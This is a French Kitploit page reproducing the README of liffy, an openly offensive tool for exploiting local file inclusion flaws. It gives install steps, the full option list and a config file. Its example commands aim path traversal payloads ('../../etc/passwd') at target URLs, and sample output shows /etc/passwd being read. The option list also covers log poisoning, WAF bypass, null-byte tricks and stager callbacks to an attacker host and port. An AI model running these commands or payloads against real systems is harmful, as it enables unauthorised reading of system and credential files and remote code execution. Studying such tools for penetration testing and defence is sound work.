liffy — Outil d'exploitation d'inclusion de fichiers locaux | Kitploit

# Installez uv si ce n'est pas déjà fait
curl -LsSf https://astral.sh/uv/install.sh | sh

# Clonez le dépôt
git clone https://github.com/mzfr/liffy
cd liffy

# Créez un environnement virtuel avec uv
uv venv

# Installez les dépendances depuis pyproject.toml
uv sync

# Lancez liffy
uv run python liffy.py --help

usage: liffy.py [-h] [-d] [-i] [-e] [-f] [-p] [-a] [-ns] [-r] [--ssh]
                [-l LOCATION] [--cookies COOKIES] [-dt] [-t THREADS]
                [--detection] [--null-byte] [--zip] [--encoding]
                [--waf-bypass] [--method {GET,POST}] [--post-data POST_DATA]
                [--headers HEADERS] [--lhost LHOST] [--lport LPORT]
                [--read-file READ_FILE] [-y] [--timeout TIMEOUT]
                [--proxy PROXY] [--verify-tls] [--user-agent USER_AGENT]
                [--oob] [--oob-url OOB_URL] [--blind] [--auto]
                [--delay DELAY] [--retries RETRIES] [--json] [--output OUTPUT]
                [--quiet] [--no-color] [--no-banner] [--config]
                [url]

arguments positionnels:
  url                   URL à tester pour LFI

Techniques de base:
  -d, --data            Utiliser la technique data://
  -i, --input           Utiliser la technique input://
  -e, --expect          Utiliser la technique expect://
  -f, --filter          Utiliser la technique filter://
  -p, --proc            Utiliser la technique /proc/self/environ
  -a, --access          Technique des logs Apache
  --ssh                 Empoisonnement du journal d'authentification SSH
  -dt, --directorytraverse  Tester le parcours de répertoire
  --null-byte           Tester l'empoisonnement par octet nul
  --zip                 Tester l'exploitation du wrapper ZIP
  --wrappers, --wrapper Détecter les wrappers de flux LFI courants
  --wrapper-list WRAPPER_LIST
                        Chemin vers une liste personnalisée de sondes de wrappers
  --oob                 Envoyer des sondes de rappel hors bande
  --oob-url OOB_URL     URL de base pour le rappel hors bande
  --blind               Effectuer des vérifications LFI aveugles par différence de réponse
  --blind-list BLIND_LIST
                        Chemin vers une liste personnalisée de sondes LFI aveugles
  --auto                Exécuter un plan de scan automatique et sûr

Options avancées:
  --encoding            Utiliser des techniques d'encodage/contournement avancées
  --waf-bypass          Utiliser des techniques de contournement WAF
  --method {GET,POST}   Méthode HTTP à utiliser (par défaut : GET)
  --post-data POST_DATA Données POST (format : clé=valeur&clé2=valeur2)
  --headers HEADERS     En-têtes personnalisés (format : En-tête1:Valeur1,En-tête2:Valeur2)
  --detection           Effectuer uniquement la détection LFI, pas d'exploitation

Options de requête:
  --timeout TIMEOUT     Délai d'expiration de la requête HTTP en secondes
  --proxy PROXY         URL du proxy HTTP(S), ex. http://127.0.0.1:8080
  --verify-tls          Vérifier les certificats TLS au lieu d'utiliser des requêtes non sécurisées
  --user-agent UA       En-tête User-Agent personnalisé
  --delay DELAY         Délai entre les requêtes en secondes
  --retries RETRIES     Nombre de tentatives HTTP par requête

Options d'automatisation:
  --lhost LHOST         Hôte de rappel pour les charges utiles échelonnées
  --lport LPORT         Port de rappel pour les charges utiles échelonnées
  --read-file PATH      Chemin du fichier à lire avec filter://
  -y, --yes             Utiliser les valeurs par défaut pour les invites et exécuter de manière non interactive
  --json                Afficher un résumé d'exécution en JSON
  --output OUTPUT       Écrire le résumé d'exécution JSON dans un fichier
  --quiet               Supprimer la sortie terminale normale

Options générales:
  -ns, --nostager       Exécuter la charge utile directement, ne pas utiliser de stager
  -r, --relative        Utiliser des séquences de parcours de chemin pour l'attaque
  -l, --location LOCATION  Chemin vers le fichier cible (log d'accès, log d'auth, etc.)
  --cookies COOKIES     Cookies de session pour l'authentification
  -t, --threads THREADS Nombre de threads à utiliser (par défaut : 5)
  --no-color            Désactiver la sortie colorée
  --no-banner           Désactiver l'affichage de la bannière
  --config              Créer un fichier de configuration YAML par défaut

# Fichier de configuration Liffy
max_threads: 5
rate_limit_delay: 0.1
disable_colors: false
disable_banner: false
quiet: false
default_method: GET
user_agent_rotation: true
request_timeout: 15
proxy: null
verify_tls: false
retries: 0

# POST avec données de formulaire
uv run python liffy.py "http://target.com/lfi.php" -d --method POST --post-data "file=../../etc/passwd"

# POST avec en-têtes personnalisés
uv run python liffy.py "http://target.com/lfi.php" -d --method POST --headers "X-Forwarded-For:127.0.0.1,Authorization:Bearer token123"

# Envoyer le trafic via un proxy local et réessayer en cas d'échec transitoire
uv run python liffy.py "http://target.com/lfi.php?file=" -d \
  --proxy "http://127.0.0.1:8080" --timeout 20 --retries 2

# Utiliser un User-Agent fixe et un délai de requête personnalisé
uv run python liffy.py "http://target.com/lfi.php?file=" --detection -f \
  --user-agent "liffy/2.0" --delay 0.5

uv run python liffy.py "http://example.com/upload.php" -d --method POST \
  --post-data "action=read&file=../../etc/passwd" \
  --headers "User-Agent:Mozilla/5.0,X-Forwarded-For:192.168.1.1"

[+] RÉSUMÉ DE VULNÉRABILITÉ
==================================================
[1] Vulnérabilité trouvée
    Charge utile : ../../etc/passwd
    Confiance : 85%
    Preuve : Fichier Linux /etc/passwd : root:
    Code d'état : 200
    Longueur du contenu : 1547

# Utiliser les techniques de contournement WAF
uv run python liffy.py "http://target.com/lfi.php" -d --waf-bypass

# Réduire le nombre de threads et augmenter les délais
uv run python liffy.py "http://target.com/lfi.php" -d -t 1

liffy

Populaires

Outil avancé d'exploitation LFI

Table des matières

Fonctionnalités

Techniques LFI de base

Fonctionnalités avancées

Améliorations modernes

Installation

Utilisation

Syntaxe de base

Options en ligne de commande

Configuration

Configuration YAML

Variables d'environnement

Techniques avancées

Techniques de contournement WAF

Techniques de contournement par encodage

Support des requêtes POST

Réglage des requêtes

Exemples

Test LFI de base

Test avec le wrapper data://

Test avec plusieurs techniques

Mode détection uniquement

Utilisation avancée

Contournement WAF avec encodage

Multithread avec limitation de débit

Requête POST avec en-têtes personnalisés

Empoisonnement de journaux

Empoisonnement du journal Apache access.log

Empoisonnement du journal SSH auth.log

Emplacement de journal personnalisé

Parcours de répertoire

Parcours relatif

Test de parcours de répertoire

Techniques spéciales

Empoisonnement par octet nul (PHP hérité)

Exploitation du wrapper ZIP

Détection de wrappers courants

Sondes de rappel hors bande

Vérifications LFI aveugles

Scan automatique et sûr

Scan complet avec toutes les techniques

Authentification et cookies

Utilisation de cookies de session

Utilisation scriptée / non interactive

Fournir des valeurs de rappel sans invites

Lire un fichier spécifique avec filter:// sans invite

Sortie structurée

Afficher un résumé JSON

Écrire un résumé JSON dans un fichier tout en conservant la sortie terminale

Contrôle de la sortie

Désactiver les couleurs et la bannière

Supprimer la sortie terminale normale

Emplacements de fichiers par défaut

Contribution

Suggestions de fonctionnalités

Signalements de bugs

Pull Requests

Détection de vulnérabilité

Score de confiance

Fonctionnalités de détection

Exemple de sortie de détection

Dépannage

Problèmes courants

Requêtes bloquées par le WAF

Problèmes de limitation de débit

Mode débogage

Avis de sécurité

Crédits

Inspiration originale

Techniques et recherches

Conception et ressources

Licence